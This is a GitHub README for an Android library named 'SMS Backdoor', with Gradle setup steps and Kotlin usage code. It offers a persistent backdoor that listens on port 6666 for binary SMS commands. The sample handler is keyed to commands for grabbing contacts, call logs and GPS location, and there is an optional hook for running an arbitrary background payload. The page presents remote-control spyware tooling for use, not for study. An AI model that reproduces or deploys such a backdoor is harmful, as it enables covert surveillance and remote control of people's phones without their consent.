Skip to content

Latest commit

 

History

History
104 lines (90 loc) · 4.99 KB

README.md

File metadata and controls

104 lines (90 loc) · 4.99 KB
Raw

Release  API

SMS Backdoor

An Android library that opens a persistent binary SMS backdoor with the ability to define your own remote command handler.

User Instructions

  1. Add the maven repository to your project's build.gradle file
allprojects {
    repositories {
        ...
        maven { url 'https://jitpack.io' }
    }
}
  1. Add the dependency to your app's build.gradle file
dependencies {
    implementation 'com.github.evilthreads669966:smsbackdoor:3.1'
}
  1. Open the binary sms backdoor inside your Activity and pass in your command code and define your remote commands handler. Make sure to request RECEIVE_SMS permission before opening it. You can optionally pass a payload to openDoor or not.
//666: is the command code. So you would start all of your remote commands for example: 666: COMMAND_GET_CONTACTS
val myPayload = suspend {
    //do something
}
SmsBackdoor.openDoor(this, "666:", payload = myPayload){ remoteCommand ->
    when(remoteCommand){
        "COMMAND_GET_CONTACTS" -> Log.d("SMS BACKDOOR", "WRITE CODE TO GET CONTACTS")
        "COMMAND_GET_CALL_LOG" -> Log.d("SMS BACKDOOR", "WRITE CODE TO GET CALL LOG")
        "COMMAND_GET_LOCATION" -> Log.d("SMS BACKDOOR", "WRITE CODE TO GET GPS LOCATION")
        else -> Log.d("SMS BACKDOOR", "COMMAND NOT FOUND")
    }
}

Important To Know

  • The sms backdoor is listening on port 6666 for binary sms messages.
  • Your command handler will be executed off of the main thread.
  • You can pass openDoor a notification title and a notification body for the persistent foreground notification of your backdoor
    • All background services require a persistent foreground notification since Android Oreo 8.0
  • You can pass a function as an argument to openDoor for a payload aside from the sms backdoor to run in the background service

Ask a Question?

Reporting issues

Found a bug on a specific feature? Open an issue on Github issues

Contributing

SMS Backdoor is released under the Apache 2.0 license. If you would like to contribute something, or simply want to hack then this document should help you get started.

Code of Conduct

  • Please refrain from using any profanity
  • Please be respectful on GitHub Issues
  • Have fun

Pull Requests

  • Please create a branch prefixed with what you're working on.
    • FEATURE_ADDING_SOMETHING
    • BUG_FIXING_SOMETHING
    • REFACTOR_CHANGING_SOMETHING
  • Once you're done with your commits to this branch hit a pull request off and I'll look at it and most likely accept it if it looks good.

Using GitHub Issues

We use GitHub issues to track bugs and enhancements.

  • If you find a bug please fill out an issue report. Provide as much information as possible.
  • If you think of a great idea please fill out an issue as a proposal for your idea.

Code Conventions

None of these is essential for a pull request, but they will all help. They can also be added after the original pull request but before a merge.

  • We use idiomatic kotlin conventions
  • Add yourself as an @author to the .kt files that you modify or create.
  • Add some comments
  • A few unit tests would help a lot as well -- someone has to do it.
  • If you are able to provide a unit test then do.
    • Because of the types of libraries I develop often times it is hard to test.

Working with the code

If you don't have an IDE preference we would recommend that you use Android Studio

Contributors

This project exists thanks to all the people who contribute.

License

Copyright 2020 Chris Basinger

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

   http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.